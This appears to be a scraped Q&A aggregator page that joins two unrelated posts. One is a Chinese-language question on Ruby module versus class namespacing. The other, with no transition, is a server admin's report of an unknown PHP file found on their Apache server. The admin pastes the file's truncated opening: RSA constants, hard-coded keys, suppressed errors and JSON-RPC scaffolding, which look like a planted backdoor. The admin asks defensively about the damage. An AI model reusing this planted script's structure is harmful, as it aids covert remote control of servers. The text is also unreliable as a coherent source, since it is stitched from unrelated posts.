考虑Ruby类Foo::Bar
.
惯例是'Foo'命名空间是一个模块,但它可以很容易地成为一个类:
module Foo; class Bar; end; end
Run Code Online (Sandbox Code Playgroud)
与:
class Foo; class Bar; end; end
Run Code Online (Sandbox Code Playgroud)
在第二种情况下,Bar
不是内部类Foo
,它只是在单例上定义的另一个常量Foo
.在这两种情况下,超类都是Object,它们只包含内核模块.他们的祖先链是完全相同的.
因此,除了可以Foo
根据其类进行操作(如果是类实例化,扩展/包含模块),命名空间的性质是否会对其产生影响Bar
?是否有令人信服的理由选择一个名称间距而不是另一个?
奇怪的事情,唯一的排序我看你可以做的是Foo::Bar.new.extend Foo
和Foo.new.class::Bar
分别.
我自己在类中定义的类的最常见用法是一个辅助结构/类,它只能由类在内部使用:
class Foo
Bar = Struct.new(:something) do
def digest
puts "eating #{something}"
end
end
def eat(something)
Bar.new(something).digest
end
end
Run Code Online (Sandbox Code Playgroud)
我在本次讨论中找到的最接近的是" 使用类与模块在Ruby中打包代码 ".
我看到我的服务器负载很高,查看了 apache 服务器状态,看到 /2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php 的帖子占用了我 12% 的 cpu。我关闭了 apache,移动了文件,阻止了我的 htaccess 中的那个人,现在我想知道造成了什么损害。看起来该文件是 4 天前添加的
<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');
define('DEFLATE_RESPONSE_DATA', True);
header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer='2.0';
if(!function_exists('property_exists'))
{
function property_exists($class, $property)
{
if(is_object($class))$vars=get_object_vars($class);
else $vars=get_class_vars($class);
return array_key_exists($property, $vars);
}
}
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_NOTICE:
case E_USER_NOTICE:
case E_WARNING:
case E_USER_WARNING:
return True;
case E_ERROR:
$code = 0;
break;
case E_USER_ERROR:
$code = 1;
break;
default:
$code = 2;
} …
Run Code Online (Sandbox Code Playgroud)